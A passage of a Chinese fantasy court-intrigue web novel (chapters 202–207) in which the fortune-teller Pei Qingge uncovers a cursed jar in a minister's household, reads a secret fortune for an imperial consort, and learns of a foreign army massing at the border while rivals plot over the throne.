“这……”萧公瑾迟疑了,裴清歌确实没说错,最近需要供奉的贡品确实越来越多,一旦贡品不够,府里就会出现怪事,但这东西确实能解决掉萧尺寒的刑克六亲,他们也只能尽心供奉,“还请裴先生指点一二。” 裴清歌看他的表情,确实像是不清楚,沉默了会,才从袖口拽出一张符,随手一扔,符纸便贴到了坛子口。 霎时间,坛子就变得透明了起来,里面几股黑色的雾气纠缠在一起,在坛子里横冲直撞,像是随时都会冲出来一样。 萧公瑾脸色一变,就算是他再不懂,也知道但凡黑色的气体,都不可能是什么好东西,在风水之术上,见到黑气基本上都都要躲远了。 “这根本不是什么长生坛?”裴清歌说着走出偏房,走到太阳底下才停下脚步,“这是劫煞蜮。” 萧公瑾也跟了出来,一知半解地看着裴清歌,等她继续解释。 “你既然懂风水之术,就应该知道,但凡喜阴的东西,都不应该是什么好东西,这东西放在了府上阴气最重的位置上,连阳光都照不到,就算本来没什么,这么多年,恐怕也要聚了不少脏东西了。”裴清歌又道。 “是当时那位高……”萧公瑾本来还想说高人,但是说了一半又停了下来,“当时那个人说,这东西只能放在阴气最重的地方,不然阳气太盛,会伤到府里的人。我当时也确实看着坛子阳气极盛,想着阴阳调和应该没什么问题。” “劫煞蜮一开始确实会挡煞,因为它就是靠煞气养成,一旦养成之后,方圆百里都会被它的煞气所覆盖吞食。”裴清歌看着萧公瑾,“它在你们府上,吞食的是刑克六亲的煞气,你们又不断地用鲜血喂养,我看它距离养成也没多久了,到时候这整个盛京恐怕都会因此遭受劫难。” 萧公瑾顿时生了一身冷汗,半响才重新找到自己的声音,“那如今该怎么办?” “不太好办。”裴清歌皱起眉头,“要处理劫煞蜮,得先化去它吞食的煞气,是个麻烦事。”顿了顿,她才又道,“以眼下的情况看,处理劫煞蜮要比找人紧急得多,萧太师先考虑下吧。” 第202章 我这个人很讲缘分 萧公瑾这下犯难了。 这劫煞蜮一处理,萧尺寒就不能呆在萧府了。 他们也没有能帮裴清歌挡劫化煞的东西了,再说让裴清歌帮忙找人的事,恐怕就很难了。 他思索了会,试探地问道,“裴先生既然知道这是劫煞蜮,也能化解掉,是不是能自己再做一个劫煞蜮?” 裴清歌笑着看着他,“若是此法真的管用的话,我自己会不知道么?煞气从谁身上来的,劫煞蜮养成之后,谁就会成为第一个目标。而且,化解煞气的时候,若是一不小心,这煞气又会重新回到那个人的身体里,最重要的,就是即便劫煞蜮没养成,煞气也能全都成功的化解,可这煞气和来源的那个人本就是一体,那个人受到的伤害也同样不小。” “甚至有可能要承受本来该承受的劫难的几倍。”她顿了顿,“萧太师如今还是想想,当初那个人到底是谁,长什么样子,为什么要这样害你家。甚至他明知道你在朝中的地位,那这样做,目标到底是谁。” “以及……他能对萧太师下手,是不是所图甚大,其他朝廷重臣的府上,会不会也有类似的东西。” 萧公瑾倒吸一口凉气,甚至往后退了一步,喃喃地道,“天呐,我还把他带进宫,引荐给先皇,他与先皇相谈甚欢,在宫中住了半个月,之后……朝中不少人听说了,都纷纷邀请他去府上做客。” 裴清歌心中了然,这下大概明白皇宫里的那个噬婴蜮是谁埋下的了。 萧公瑾这会都想给裴清歌跪下了,他双手抱拳,对着裴清歌恭敬地鞠了一躬,“裴先生,还望你能施以援手,彻底解决这件事,这……若是关乎天风国的江山社稷,老夫可就成了天风国的罪人了。” 裴清歌想了会,“这事现在也是推测,最好还是能进宫去看看,四处转转,都看过了之后再下结论。”上一次偶然发现那个噬婴蜮,也是因为有陆绝,不然恐怕也没那么容易被发现。 萧公瑾冷静了一下,也明白了,这件事兹事体大,若是他直接跟皇上说,皇上脑袋一热,恐怕当场就要降罪于他,所以最好是先确定下来,甚至是能够偷偷摸摸的解决,只要这位裴先生不往外说,这件事就算这么了了。 即便将来皇上知道了什么,事情都已经处理完了,他想追究也没有证据了。 所以眼下,最重要的环节在眼前的这位身上,必须把她跟自己绑在一起,成了一根绳上的蚂蚱,她自然就会尽心办好这件事,也不会泄露一丝丝的口风。 萧公瑾此刻就恨萧家只有一个女儿,但凡再有一个没有觉醒血脉的女儿,他都会立马把这女儿许配给眼前的裴先生。 裴清歌见着萧公瑾的模样就知道他心里在盘算什么,能在朝堂之上,混到他如今的地位,当然是老狐狸,她状似无意地开口道,“算起来,皇上成亲多年了,登基之后,也纳妃不少,但是至今都没有子嗣,这事也不知道这两件事有没有关系。” 萧公瑾闻言脸色紧绷,皇上至今无嗣的事情,如今已经成了朝堂上经常要提起的重要话题,皇上现在还算年轻,再过几年,若是依旧无嗣,那可就有人要坐不住了。 说完这句,裴清歌又笑了笑,开口道,“萧太师,你放心,我这个人很讲缘分,你们能找上我,证明咱们也有缘分,遇到这种事,我也不可能袖手旁观。再说,这个人若是有意欺瞒,萧太师也是受害者,好在眼下看着也没有极恶劣的事情发生,一切都还来得及。” 萧公瑾听出了裴清歌话里的意思,言外之意,就是让他放心,她不会在这件事上多言,他轻轻地叹了口气,思虑了会,“其实如果想要能名正言顺的在宫内行走,倒是可以以看风水的名义。” “不行。”裴清歌摇了摇头,“我们不知道他都做了什么,万一极其隐蔽,以看风水的名义,有些恐怕很难发现。” “那……”萧公瑾犹豫了一会,“这宫里也多年未兴土木了,正好重新修整一番。” “不管怎么样,萧太师安排好,着人来通知我就行。不过……我和肃亲王府的关系,多少也有些敏感,最好能伪装一下。”裴清歌又道。 “这是自然。”萧公瑾点点头,继续问,“那若是其他朝臣家里,也有类似于这种劫煞蜮该怎么办?” “当年那个人都去过谁家,这恐怕就得萧太师亲自去查了。”裴清歌说着转身往前院走,“那我就不多打扰了,事有轻重缓急,萧太师安排吧。” 萧公瑾把裴清歌送到门口,看着她上了马车,才急匆匆的回了书房。 白墨见裴清歌没有一起回来,正要询问,萧公瑾便先开了口,“裴先生有急事先回去了,今日恐怕要九皇子白跑一趟了,但这件事若要做,也非九皇子莫属,到时候可能要劳驾九皇子再来一趟。” “无妨。”白墨摇了摇头,“我说了,只要能找到他……” 萧公瑾点点头,顿了顿又叮嘱,“九皇子,你万不要与人提起这件事,这事事关太多人的性命,尤其是裴先生,他本就是个外人,被牵扯其中,已经是莫大的危险了。” “我明白。”白墨应了一声,“萧太师不必担心,我最近便都呆在府上,尽量少外出,直到这件事解决。” 萧公瑾这才和萧尺寒一起送了白墨离开。 往回走的时候,萧尺寒隐约觉得是出了什么事,便试探地问道,“不知道裴先生那边出了什么事,需要帮忙?” 萧公瑾摇了摇头,只是说,“最近无事,你便多去裴先生那边走动走动,请他看看戏,喝喝茶,先把这关系好好维持。” 萧尺寒知道,若是能说的事,萧公瑾自然会说,他不说的事情,他当然不敢多问,便应了下来。 萧公瑾随即摆了摆手,示意他离开。 看着萧尺寒离开的背影,萧公瑾轻轻叹了口气,他这多少也算是私心,若是萧尺寒能跟那位裴先生交好,裴先生说不定就能帮忙解决萧尺寒这刑克六亲的事情。 不过眼下的事情这么多,萧尺寒的事情其实已经没有那么重要了,他到底会怎么样,就全看他自己的造化了。 第203章 没有靠山,就只能靠子嗣了 裴清歌知道,这事也不能全指望萧公瑾,于是在几天后见面的时候,也把这件事简单地跟白锦夜说了一声。 当年那个人在京中的时候,白锦夜虽然还小,但是既然当年那个人的名气不小,那他若是想要查起来,应该也不是难事。 这样到时候白锦夜和萧公瑾两个人查出来的名单还能互相对照,万一谁有什么疏漏,也能互相弥补。 “其实还有一个最好的办法。”白锦夜抿了抿唇,“去找陆绝,如果能从他嘴里问出什么,比这么查下去,要快得多。” “确实是,可是陆绝又怎么可能说出来?”裴清歌轻轻敲着桌面,“刑讯逼供么?” “上次你对沈易安用的那个办法,对陆绝能用么?”白锦夜开口问道。 裴清歌看着窗外的行人,“当然可以用,但是陆绝和沈易安可不见得一样。” 白锦夜拧了拧眉,也看向窗外,“若是真到了万不得已的时候,就把这当成最后一条路吧。” 裴清歌点了点头,正要再说话,目光却停留在某一个人的身上,这个人虽然做了伪装,但是气息很熟悉——和月如。 真是好久不见了。 而且她走的方向,也正是裴清歌店门的方向。 裴清歌之前和白锦夜把位置定在康顺楼,就是这里的雅间可以一眼看到她的店。 她收回目光站起身,“你先去查,最近萧家也会被这件事绊住,暂时不会去找你了,算卦的事,大概也是要往后退了。” “好。”白锦夜点点头,“那还是五天之后在这碰面。” 裴清歌应了一声就先走了。 回到店里,已经有几个人在等了,和月如等在最后,和身边的人都保持了些距离。 裴清歌只是扫了一眼,便在自己的椅子上坐下,挨个算卦。 没多久,便到了和月如。 她一个人来,没带丫鬟,甚至连马车都没有,显然是偷偷出宫的。 裴清歌看着她,和对其他人没什么区别,“这位客官算什么?” “我想算算,我……”和月如说着脸上有些为难,半响才道,“算算我能不能有孩子。” 裴清歌心中了然,之前和月如在宫中极其受宠,她之前已经知道了跟和月如会入梦咒有关系。 但是在这后宫之中,女人再受宠,没有个孩子傍身,以后的日子恐怕也会很难。 再说,现在裴姝去向不明,西夜国到底是什么景象不得而知,不过显然这个西夜国公主大概是没了娘家这个后盾。 以皇上的猜忌之心,上次见到裴姝和白锦夜在一起,他没办法处理裴姝,又让裴姝从皇宫里逃走,这样的怨气大概是要算在和月如的身上了。 之前左辞说过,宫里的太医给和月如诊断过,断定她不能生育,但大概率这里面有和月如自己动的手脚,她那时候极可能并不想给白砺寒生孩子。 现在没了靠山,就只能靠子嗣了。 如今皇上一个孩子都没有,和月如要是能率先怀孕,那必然会重新获得盛宠。 “先摇卦吧。”裴清歌开口道。 和月如摇了卦。 裴清歌看着卦象,微微皱起眉头,拿着笔在纸上写写画画。 这些和月如大概也能看明白,之前裴姝曾经教过她浅显的算卦,她能看个一知半解,但是更深的东西,就看不出来了。 不然她也没必要在听说普宁街这边有人算卦很准之后,特意跑到这里来算卦了。 现在看着裴清歌写的这些东西,和月如就知道,这个人确实有些能力,甚至应该不在裴姝之下。 半响后,裴清歌放下笔,看向和月如,“从卦象看,夫人会有子嗣,而且是一个儿子。” “儿子?”和月如听到这个脸色一喜,如果她能生下儿子,就算不是嫡子,不能立储,以后当个王爷,也能保她后半生无忧了。 若是……若是她运气好,这孩子是长子,甚至……是皇上唯一的儿子的话……想到这,和月如的心怦怦直跳。 “只不过这孩子有早夭之相,夫人还得多注意才是。”裴清歌又继续道。 和月如这下嘴角的笑容僵住了,放在膝盖上的手都握成了拳,是啊,如果她有孕了,定然是很多人的眼中钉肉中刺,那些人到时候不知道要怎么在背后阴她。 就算她能躲过所有阴招,这孩子顺利地生了下来,是个皇子,又要招来多少人的嫉妒? 她能守着一日两日,还能一直守着么? 但凡给那些人留下一点点机会,他们都会想办法除掉这个有异国血统的皇子。 “有没有什么办法能够避免?”和月如看着裴清歌,假意用帕子擦了擦眼角,“先生有所不知,我相公一直盼望着能有一个孩子,可我们成婚几年,现在也没有动静,就算我相公的其他妾室,也一样没能诞下一子半女。” “哦?”裴清歌微微皱了下眉头,“这种事也不是靠算卦能解决的,不知道夫人和你家相公,还有其他妾室,可看过大夫?身体都没什么问题吧?” 和月如当然知道自己肯定是没有问题的,但皇上的身体……就算是有问题,又有谁敢说呢? 她捏了捏衣角,难道……是皇上的身体有问题,所以后宫的妃嫔才会都没有身孕? 但随即她又赶紧否认这个想法,之前宫里也有人怀孕,虽然那些胎儿都没能留住。 她想了想才道,“身体应该没什么问题,在我进府之前,听说有人生下个女儿,后来其实也有人怀孕,就是孩子都留不住。”她说着叹了口气,“也不知道是缘分不到,还是没有子孙命。” 裴清歌沉默了会,“总之卦象上是这样,一事一算,这卦象也问不出别的什么了。况且孩子都还没有,也不可能先化解劫难,等夫人有了身孕再来,到时候若是胎儿有什么劫难,再看看能不能化解。” “也只能这样了。”和月如不是对这种事一无所知的人,所以裴清歌说完,她也知道对方没有诳自己,付了卦金便离开了。 裴清歌看着她的背影,那噬婴蜮虽然解决了,但是影响也不可能一下子就消失,是需要时间的,况且宫里还有没有其他的不利子嗣的东西,她目前也不知道。 只不过没想到宫里这么多女主子,第一个坐不住的竟然是和月如呢。 第204章 我能让你和我的孩子,登上皇位 和月如离开了店面,也没急着往皇宫走。 自从入了宫以后,她就没有再私自出宫过。 以前在西夜国的时候,有裴姝罩着,她也算是可以横着走。 但自从紫莲戒的事情之后,裴姝那边她就彻底的失去了联系,她觉得她应该已经成了裴姝的弃子。 这一切,都只能怪白锦夜和裴清歌。 是他们拿了紫莲戒引诱她,又给了她假的紫莲戒。 说是白锦夜死了,可她从皇上的口风里隐隐的知道,白锦夜根本就没死。 说不定当时就是白锦夜做局,让皇上对裴姝起了误会,从此和西夜国的联系也就彻底断了。 白锦夜现在诈死,也不知道在哪里密谋着什么。 她只恨自己太单纯,当初竟然轻易地相信白锦夜和裴清歌! 如果有一天,这两个人撞到她手里,她绝对不会放过他们! 在路上随意地走着,她突然瞄到了一个代写书信的摊子,犹豫了下,她才走过去,让对方帮自己代写了一封信,又给了他地址,让他帮忙寄出去。 西夜国那边都联系不上,但是她还可以试图联系下东凉国的和月薇,那丫头到了东凉国之后,就一点信儿都没有。 她们以往都是单独和裴姝联系,以前裴姝也总会让她们之间互相比较,她与和月薇本来就是在众多乞儿之中胜出的,这么多年来,为了能让裴姝多看一眼,都在互相暗暗较劲儿,把对方当做敌人。 但是现在看起来,她们之间才更应该合作。 和月如离开后,代写书信的人刚把书信装进信封,就被人按住。 他正要说话,那人就放了一锭金子在摊位上,同时亮了亮腰间的刀,他只能默默地收回手。 那人把信拿出来,仔细地看了几遍,确认没什么问题,才把信装回信封,随手丢在摊子上,继续往和月如的方向走过去。 只是一个拐弯,他就追上了和月如的脚步。 和月如微微皱了下眉头,停下来转身看去。 白玉衡看着她,“真是好巧,我闲来无事听个小曲,竟然能遇到贵妃嫂子。” 和月如对白玉衡的印象不是很好,她听说过,裴姝来的时候,本来是住在白玉衡的府上的,但是后来不知道怎么的,白玉衡就跟皇上举报了这件事。 再加上,白玉衡这个人看起来就一肚子的花花肠子,她一点都不愿意跟他有什么交集。 见和月如不说话,眼底又隐隐地带着几丝厌恶,白玉衡像是也不在意,往前走了几步,用扇子往旁边指了指,“嫂子,那家酒楼不错,既然出宫了,小弟请你尝尝这酒楼的特色菜,如何?” 和月如拧了拧眉,“衡王不比这么称呼本宫,若是被皇后知道,可要记恨你了。” “哈哈。”白玉衡笑了笑,又道,“我确实不想这么称呼你,既然你一个人出宫,想必也不愿意被人知道行踪,那……我便唤你月如,如何?” “你这样放肆,不怕皇上知道?”和月如脸上厌恶之情更浓。 “皇兄会知道什么?知道……你私自出宫,恰好遇到我?”白玉衡微微眯了眯眼,“这世上哪有这么巧合的事情?莫不是特意出宫来跟我私会?” 和月如仰手一巴掌打在白玉衡的脸上,“无耻!” 白玉衡不躲,硬挨了她这一巴掌,又抓住她的手腕,顺势把她按在一边的墙上,低头看着她,“每次皇兄提起你的时候,都一副销魂的模样,我也真想试试。”他说着低下头,在和月如的颈边轻轻地嗅着。 和月如是知道有人在跟踪自己,故意走到小巷,想要引对方现身,对方如果不现身,也能趁机甩掉。 哪知道进了这无人的小巷,倒是让白玉衡越发的没脸没皮。 “衡王,你自己找死。”和月如眯了眯眼,眼底闪过一抹杀意。 “诶!”白玉衡抬起头,拧着眉看着她,“你怎么能这么说呢?别以为我不知道你把皇兄迷得七荤八素的,用的是什么手段,这手段,游晚星不是也对我用过么?” 和月如气息一滞,微微抿起唇。 “你们这点事,我早就知道了。”白玉衡说着放开手,“后宫佳丽那么多,比你美的可多的是,你说我为何偏偏看上你?那是因为我觉得,我们之间有合作的可能。” “我如今在后宫的地位,也不过就是居于皇后之下,皇上又宠我,我满足得很,不知道能跟你合作什么。”和月如虽然声音发冷,但是口风却松了。 白玉衡笑了笑,“你现在在后宫的地位到底如何,你自己心里清楚。我知道,这满宫的后妃,都在到处寻找生子秘方,吃得整个后宫都是一股药味了,也没见谁能生下龙子。可是就算她们把全天下的秘方都吃过了,也不会有用的,你知道为什么么?”他说着又靠近和月如,“因为啊,是皇上他不能。” “你少狂骗我,虽然我来天风国的时间不长,但是也知道有人怀孕过。”和月如皱起眉。 “那后来为什么没有了呢?”白玉衡反问道,“那是因为,她们迟迟生不下皇子,就动了歪心,那些孩子啊,根本就不是皇上的。但皇上自己心里清楚,又怎么可能让那些孩子生下来?生下来万一长得像街头那个代写书信的,可怎么办呢?” 和月如眉头皱得更紧,显然这白玉衡已经跟了她很久,见到她找人代写书信了,也是她一直有心事,才没注意道被人跟踪。 不过好在那书信本就是用暗语写成,只有她和和月薇能看懂,所以就算白玉衡看了,也无关紧要。 但白玉衡给她的这个信息,确实太大了! 她琢磨了半响,才重新开了口,“你今天跟着我,就为了跟我说这些么?你到底是何居心?我又为什么要相信你?” “我也没有要求你一定要相信我。”白玉衡笑着看着她,“我只是知道,一众大臣,在肃亲王之死这件事上,对皇上极度不满。可肃亲王已死,死无对证,事情就是板上钉钉了,所以他们已经准备联名上书,以皇上没有子嗣继承大统为名来弹劾皇上。” “你说……如果皇上不做皇上了,那下场会如何?你呢?你的下场又会如何?” 白玉衡笑容更大,“不过,如果你跟我合作,那么我可以保证,能让你和我的孩子,登上皇位!” 第205章 多积点德,希望下辈子不是天煞孤星了 第二日开始,裴清歌就在门口贴了告示,只在上午算卦。 午后她就关了门出城,萧府上的那个劫煞蜮想要化解,必须得找一个得天独厚之处,能保证煞气不外泄,并且又能逐渐化解。 这样的地方不好找,可也不是没有。 反正那边萧公瑾也有事要忙,她正好先把这地方找到。 连着出城了两天,第三天裴清歌刚走到城门口,就遇到了同样骑着马的萧尺寒。 “裴先生。”萧尺寒先开口打了招呼,“你要出城?” 裴清歌点了点头。 “我今日无事,正好也要出城转转,可也不知道去哪,那就跟裴先生一起吧。”萧尺寒说着策马走在她身边,也不等她回答就继续道,“听说这两日你都出城了?” “萧公子连着两日去店里找我,是有事?”裴清歌也直接问了出来,她前两天回去的时候,都听桑榆说了,萧尺寒会去店里找她,也没说什么事,知道她不在就离开了。 “倒也没有什么大事。”萧尺寒笑道,“只不过自那日先生从府上离开之后,爷爷便开始忙了起来,也不肯告诉我们到底是怎么回事,我只觉得,裴先生应该能知道一二。” 裴清歌骑着马往前走,“你爷爷想要告诉你,自然就告诉你了,他没告诉你,我说什么不是显得多嘴?” “倒也是。”萧尺寒像是早就料到裴清歌会这么说,“其实我来找你,也确实有私事,我想能跟你学一学算卦或者是化解劫难的法子。” 裴清歌轻皱了下眉头,没有说话。 “我觉得,这世上其他的劫难能化解,那刑克六亲的劫难应该也能化解,只不过可能要付出的代价比较大。也许别人不愿意为一个陌生人来付出这样的代价,但是我如果自己学会了,我就可以帮自己化解。”顿了顿,萧尺寒又补充,“就算真的没有什么办法,那我学了些别的,也能像你一样,给别人帮忙,多少也算是积德了。” “即便积的德这辈子用不上,起码下辈子别再是天煞孤星了是不是?” 听到他说到最后,裴清歌忍不住勾了唇角笑了笑,但顿了会还是说,“抱歉,我不收徒,我会的这些,也都是家传,不能外传。不过——”她说着话锋一转,“萧公子应该也会些术法吧?” 萧尺寒也没隐瞒,“是的,小时候爷爷教过一些。” “积德的事情有很多,萧公子若是有心,都能做得很好。”裴清歌说着顿了下,“我今天要去的地方有点远,萧公子若是也想去,就得跟上了。”说完便一夹马腹,率先跑了出去。 萧尺寒知道,她可能是赶时间,但是这个话题也是不想再提了,于是就也立刻跟了上去。 * 裴清歌刚离开普宁街没多久,就有人来敲了门。 敲门又重又急。 桑榆从楼上下来,一边喊着来了来了别敲了,但是对方依旧用力地敲门。 她走到门口,拉开了个缝隙,看着外面戴着帷帽的人,皱起眉头,“没看到门上贴的告示么?下午不开业。” “看到了看到了,让我进去再说。”对方说着便要挤进来。 桑榆听着这声音有点熟悉,但是不敢确认,就不敢让他进来,“诶诶,你别挤啊,有什么事先说。” “你不认识我了么?”左辞把帷帽掀开了一个角。 桑榆见到之后,先是愣了一下,才赶紧开了门,让他进来,又往外面看了看,“你自己来的?” “不然呢?还能有谁?”左辞几步走到桌边,先给自己倒了一杯茶,一口喝完,觉得不解渴,于是干脆把整个茶壶拿起来,喝了半壶,才看向桑榆问道,“王妃呢?” “她出去办事了。”桑榆看着他,“你有……急事么?” “嗯。”左辞点点头,“那她什么时候能回来啊?” “这几天她下午都出城,去哪我也不清楚,一般都会在天黑的时候回来。”桑榆开口道。 “天黑啊。”左辞看了看外面,见外面还大亮,忍不住打了个哈欠,“那我先睡一会,等王妃回来你叫我啊。”说着他就往后远走。 “诶。”桑榆赶紧拦住他,“后院你和钟栖原来的房间都有人住了。”顿了顿她又补充,“他们虽然都是王府原来的下人,但是并不知道王妃的真正身份。” 左辞的脚步顿了下,指了指楼上,“那我住原来鬼卿的房间?” 桑榆摇了摇头,“那间房现在是我的。” “算了。”左辞无语了,把几把椅子摆在一起,直接躺上睡了。 桑榆犹豫了下,这才去楼上拿了一床被子。 等她下楼的时候,左辞都打起了呼噜。 看样子是一路赶过来,路上根本就没有休息。 她把被子盖在左辞身上,脸上有了些轻松之意,以前在王府的时候,左辞也算比较了解王妃的人,他也一定能发现王妃的异常之处,到时候有什么事她也能和左辞商量了。 * 裴清歌确实是天黑了才回来,萧尺寒把她送到了门口才离开。 她一进门,就见到坐在桌边疯狂往嘴里塞东西的左辞。 左辞见到裴清歌,第一反应是把嘴里的东西咽下去,但是咽了会,差点噎死也没咽完,只好又全都吐出来,又喝了好几口水,才走到裴清歌的身边。 裴清歌对桑榆打了个手势,桑榆赶紧带着另外两个下人去了后院,又关上了门。 “少夫人,少爷在哪你知道么?”左辞一张嘴就问白锦夜。 裴清歌有些好笑地看着他,“怎么,你家少爷在哪,没大概跟你说一句么?” “我只知道他也在盛京。”左辞脸都垮了,“少夫人,真的有急事。” “你有急事,要么告诉我,要么写下来,回头我转交给他,现在你这张脸,跑到他那去,是生怕别人不知道他是谁么?”裴清歌在桌边坐下来,抬头看着左辞。 左辞搓了搓手,“其实,按理说这事也跟少爷没关系了……但实在是没办法了,西夜国那边大军压境了。” 第206章 左辞果然是整个王府最通透的人(五更啊这可是) 裴清歌皱起眉头,对这件事不予置评。 “哎。”左辞叹了一口气,“但凡有点办法,岐风王也不会求过来。之前西夜国军队蠢蠢欲动的时候,他就给皇上写信求援。那会大概也估算出,西夜国至少出兵三十万,岐风王手上满打满算也就十万兵马,哪够抵御这三十万啊?” “他写的信,就跟泥牛入海一样,一点回音都没有。到最后岐风王都放弃了,开始转而给周边驻兵的将领写信求援,那些人要么一样不回信,要么就说自己也得时刻防备西夜国,不敢擅自离开驻地,要么就说必须有皇上的调令。” “岐风王自己当然也知道,这原则上肯定得要有皇上的调令,但是都火烧眉毛了,如果他失守,那周边的那些城池也不会有什么好下场。” “实在没办法了,岐风王只能自己硬上,几场仗下来,伤亡惨重,岐风王自己都受了很重的伤。” 裴清歌冷笑一声,“我真是不太明白,龙椅上坐的是皇上,他自己都不着急,其他人着急个什么劲儿?当初你们在月城的时候,吃过苦还不够多么?结果你们家王爷的下场如何?现在轮到岐风王了,他还没有前车之鉴?” “我要是他,我就直接大开城门,只要西夜国答应不伤害他守地的百姓,剩下的爱怎么样就怎么样。” “哎。”左辞叹了口气,“少夫人,你可别说这样的气话了,在月城的时候,那些枯尸来袭的时候,你不是也没有袖手旁观么?” “我出手帮忙,是因为那是枯尸,是从鬼王沙漠来的,你看看如果当时来的是西夜国的军队,我会不会管?”裴清歌轻笑。 左辞在原地转了几个圈,想了想,又试探地问道,“少夫人,要不你转告下少爷,他要是也决定不帮忙了,那就算了。” 裴清歌没接话,只是问,“岐风王的伤怎么样?” “一开始不太好,但是好在冷鸢和楚星玄在那边,之前我也大概给他们讲过你和岐风王之间的合作,所以他们也就帮忙给岐风王治了伤,但也就仅此而已。”左辞回道。 “不然还想让他们怎么样?”裴清歌站起身,伸了个懒腰,抬手拍了拍左辞的肩膀,“天风国已经千疮百孔了,你们现在想的,应该是怎么能救下更多的百姓,至于江山是谁的,已经没有那么重要了。” 左辞一跺脚,“早知道这样,真该劝少爷谋反的。”说完他像是想起了什么,有点诧异地看着裴清歌,“少夫人,你不会早就算到有这一天,见着少爷不像是谋反的人,才会做局让他谋反吧?少爷真是辜负你的一片苦心了。” 裴清歌轻轻摇了摇头,隔了会才问,“岐风王知道你家少爷没死了?” “这……他只是怀疑少爷没死,但是没有证据,我们也不可能把这话说出来。”左辞挠了挠头,“其实……他也不是让我来找少爷求救,他是让我来找你的,他觉得你应该有办法。他不确定少爷是什么情况,但是他以为你在复州,可我知道少爷和你来了盛京,才会到这边来。” “我?”裴清歌挑了挑眉,“他怎么说的,说来听听。” 左辞有些尴尬,“他说……你能控制那些东西,现在战场上死了那么多人,别的不多,就那些东西多,如果你能控制着那些东西,反攻西夜国大军,这场仗肯定就能赢了。” “想的还挺美。”裴清歌轻笑了一声,垂眼看着地面,这几日跟萧家的人接触下来,感觉他们多少也算是忠义之臣,若是知道西夜国大军压境,应该不至于还能这样轻松。 所以这事大概率是被人压了下来啊。 当初陷害白锦夜的时候,出力最大的,就是白玉衡,想必到了后面,他也是最大的受益人。 这件事里,不知道有他多少功劳呢。 裴姝被国君带走,现在生死不明,估计也不会跟西夜国联系。 和月如若是能跟西夜国联系上,也不至于来自己这里算子嗣的卦了。 那能把整件事添油加醋通知西夜国的,大概也就是白玉衡了。 他是想要坐收渔翁之利吧。 裴清歌正盘算着,门便被敲响,她示意左辞躲一躲,过去开了门,见到白锦夜站在门外,她才让开身。 “我最近可能要暂时离京……”白锦夜说着顿了顿,目光落在柱子后面左辞的身上,他拧着眉,刚刚就感觉这房间里有一股熟悉的气息,原来是左辞这小子偷偷的回了京。 左辞不傻,他现在在这,裴清歌还能让进来的人,虽然是易容的,但显然就是白锦夜了,他有点热泪盈眶,赶紧过来问安。 白锦夜才又看向裴清歌,“我得去趟西河城。” “看样子你家少爷已经知道了。”裴清歌往后退了几步,让他们主仆两个人交流信息。 沟通了片刻之后,白锦夜的脸色难看得要死,那表情几乎就是想要杀人了,对方显然也不是别人,正是白砺寒。 裴清歌垂眼摆弄着桌子上的纸,没有再说话。 左辞看了看裴清歌的侧脸,想着她刚才的话,又犹豫了,他觉得来了之后,找到白锦夜,是能暗中调兵的。 可是解决了这一次西夜国的入侵,那下一次呢? 下下次呢? 他家王爷就活该一辈子给白砺寒擦屁股么? 他轻轻地咳了一声,才试探地问道,“少爷,要不……算了吧。” 听着左辞的话,裴清歌嘴角微微勾起一抹笑,左辞果然是整个王府最通透的人。 白锦夜眯着眼,肃亲王死的那天开始,他就想过,无论天风国再怎么样,他都已经做过他应该做的了,以后就不再管了。 可是没想到,巨变来的这么快。 “这件事,有人在暗中做手脚。”白锦夜说着抿了抿唇,“既然他已经按捺不住了,那就借着这次机会,把他连根拔起。” 左辞没想到白玉衡的事,还以为白锦夜说的是白砺寒,听他这么一说,还以为他想开了,当时就很开心,“所以少爷你打算自己登基了么?” 第207章 希望你也知道你自己想要什么 白锦夜懒得搭理左辞,挥了挥手,让他赶紧走。 左辞知道他这是有话要单独跟裴清歌说,反正人家两个人说话,自然没有他继续在这插嘴的份,于是便去后院找桑榆了。 白锦夜在原地站了一会,才走到裴清歌的身边,看着她的侧脸,低声道,“抱歉,我说过,要放下这些的,但是……我也实在没办法看着西夜国的大军踏进天风国的国境。” “那如果,你过年之前,就死了呢?”裴清歌转头看他。 白锦夜沉默了一会,没有说话。 “反正你现在是没死,那肯定是没办法亲眼看着这种事发生。”裴清歌开口道,“只要你想好了,不用跟我说什么。” “其实我也知道,这种事情,只要朝堂上的那些人不换,以后就还会发生。但想要改变那些,不是一朝一夕的事情,可眼下的这件事,已经火烧眉毛了。”白锦夜抿着唇。 裴清歌看着他笑了笑,“我还没有吃晚饭,你若是没有别的事,就先请回吧。” 白锦夜看着她,分不出她的表情是开心还是不开心,隔了很久,他才上前一步,拉住裴清歌的手,“如果你不想让我去,那我就不去了。” 裴清歌垂眼看着他的手指,“天风国的事,跟我本就没什么关系,你们和西夜国、东凉国之间的关系如何、肃亲王是死是活、天风国坐在皇位上的人是谁,我其实并不关心。”她顿了顿继续道,“我只是想要找到我的师父,给很多疑问找个答案,我知道我想要的是什么。” 说完,她抽回自己的手,后退一步看着白锦夜,“希望你也知道你自己想要的是什么。” * 左辞到了后院,另外两个下人都已经各自回房了,只有桑榆一个人坐在院子里的石桌旁,他也走过去坐下,“少夫人真是念着你的好,回了京城,又把你带在身边。” 桑榆转头看了看关好的房门,压低声音,“小姐回房去睡了?” “没有,少爷来了,他们正在说悄悄话。”左辞一脸的八卦。 “少爷?”桑榆听到这个称呼有些迷茫,隔了会,想到左辞管裴清歌叫“少夫人”,一下子就明白“少爷”是谁了,她惊讶地捂住嘴,看着左辞,像是知道了什么不得了的事情。 左辞也是突然懵了一下,随即才问,“你不会……不知道吧?” 桑榆摇了摇头,也只能顺着左辞的称呼叫,“少爷跟你一起回来的?” 左辞这下也不知道该不该往下说了,满脸的古怪。 桑榆咬了咬唇,转头往房门那边又看了看,才压低声音问,“你见到小姐,有没有觉得她跟以前不一样了?” “不一样?”左辞茫然地摇了摇头,“哪里不一样了?” “你一点都没感觉到么?”桑榆有点急。 “我才跟她说了几句话,少爷就来了,我以前也没敢仔细观察过少夫人啊。”左辞见不得人跟他卖关子,就赶紧追问,“到底怎么了,你直说就是了。” 桑榆又往房门看了好半天,咬着嘴唇,都把嘴唇咬出一排牙印了之后,才低声道,“就是有点怪,有点让人害怕。以前我收拾房间,洗衣服什么的,她都不说什么,可是她这次回来之后,不让我帮她收拾房间,衣服都不让我帮她洗。” “有一次……有一次我看到小姐自己洗衣服,水都是红色的,好像是血,我也不敢多问。她的房间不让我进去,也总是上锁,前几天她出去不在,我扒着门缝和窗缝往里面看了看,里面黑漆漆的,什么都看不见,大白天的,里面都没有一点光。” “然后……我有几次晚上的时候,听到小姐房里有人说话……” “你可别自己吓自己了。”左辞赶紧摆了摆手,“可能是有的时候少爷过来,不方便让你知道呢。” 